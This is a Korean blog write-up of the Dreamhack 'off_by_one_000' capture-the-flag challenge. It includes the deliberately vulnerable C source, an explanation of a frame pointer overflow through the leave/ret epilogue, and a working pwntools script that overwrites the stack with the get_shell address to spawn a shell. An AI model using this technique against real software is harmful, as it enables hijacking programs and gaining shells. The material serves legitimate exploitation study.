[Dreamhack] off_by_one_000

김성진·2022년 7월 19일
0

Dreamhack_System

목록 보기
37/44

📒 Description

Partial RELRO만 걸려있으며 32비트 체제이다.


📒 C code

📖 off_by_one_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

cp_name을 256 바이트를 받는다. 마지막 바이트까지 받으므로 cpy 함수에서 SFP는 하위 1바이트 오염이 가능하다. 이는 Frame Pointer Overflow (FPO) 공격으로 이어진다.
서브함수의 하위 1바이트를 덮으면 어떤 일이 벌어질 지 디버깅해보자.


📒 Debugging

main 함수와 cpy 함수이다.
A 4바이트를 입력했을 때의 SFP와 A 256바이트를 입력했을 때의 SFP를 비교해보자.SFP는 0xffffd0d8임을 확인할 수 있다.
만약 256바이트를 입력하여 하위 1바이트가 덮인다면 어떻게 될까? EBP의 값으로 0xffffd000이 있음을 확인할 수 있다. 즉 마지막 1바이트가 널바이트로 덮였고, 이는 서브함수의 에필로그 이후 우리가 원하는 실행을 유도해낼 수 있다.


📒 Exploit

📖 Frame Pointer Overflow

sub 함수의 하위 1바이트가 null바이트가 된다면 어떻게 될까.

leave ret

함수의 에필로그는 위의 두 어셈블리어로 이루어진다.

leave :
mov esp, ebp
pop ebp

위의 과정으로 이루어진다. 현재 ebp는 하위 1바이트가 00인 상황이다. 따라서 mov esp, ebp 과정에서 ebp의 주소가 esp로 바뀌고, pop ebp를 통해 이상한 값으로 ebp는 바뀌어진다.

ret:
pop EIP
JMP EIP

이후 서브함수는 정상적으로 main 함수로 복귀할 것이다.

main 함수에서도 똑같이 leave와 ret를 진행하게 된다. 그 과정에서 신비한 일이 생기게 된다.
mov esp, ebp 과정에서 esp는 이상한 값으로 뛰어지게 된다. pop ebp를 통해서 ebp는 또 이상한 값으로 뛴다. 여기서 중요한 것이 생기는데, 그 이상한 곳의 값을 pop 하고 그 과정으로 jmp 한다는 것이다.

그래서 위의 상황에서 디버깅을 계속 해보자. 현재 cpy 함수의 leave를 진행했다. ebp가 0xffffd008이어야 하는데 0xffffd000을 가리키고 있으며, 그 값은 0x41414141이다. 내가 입력한 A 256바이트의 영향이다.

main 함수의 leave를 거쳤다. esp는 ebp+4를 가리키는 것을 보았다. 이후 0xffffd004에 저장된 이상하게 많은 AAAA 4바이트 하나를 EIP로 pop 한 다음, JMP를 하게 된다. 그렇다면 ret과정에서 0x41414141로 점프하게 된다.

우리는 여기서 A 256바이트가 아닌, get_shell 주소로 256바이트를 덮으면 문제가 풀릴 것이라고 예측할 수 있다.

📖 exploit.py

from pwn import *

p = process('./off_by_one_000')
#p = remote('host3.dreamhack.games', 19563)

get_shell = 0x080485db

payload = p32(get_shell) * 64

p.recvuntil('Name: ')
# pause()
p.sendline(payload)

p.interactive()

해결 ~

profile
Today I Learned

0개의 댓글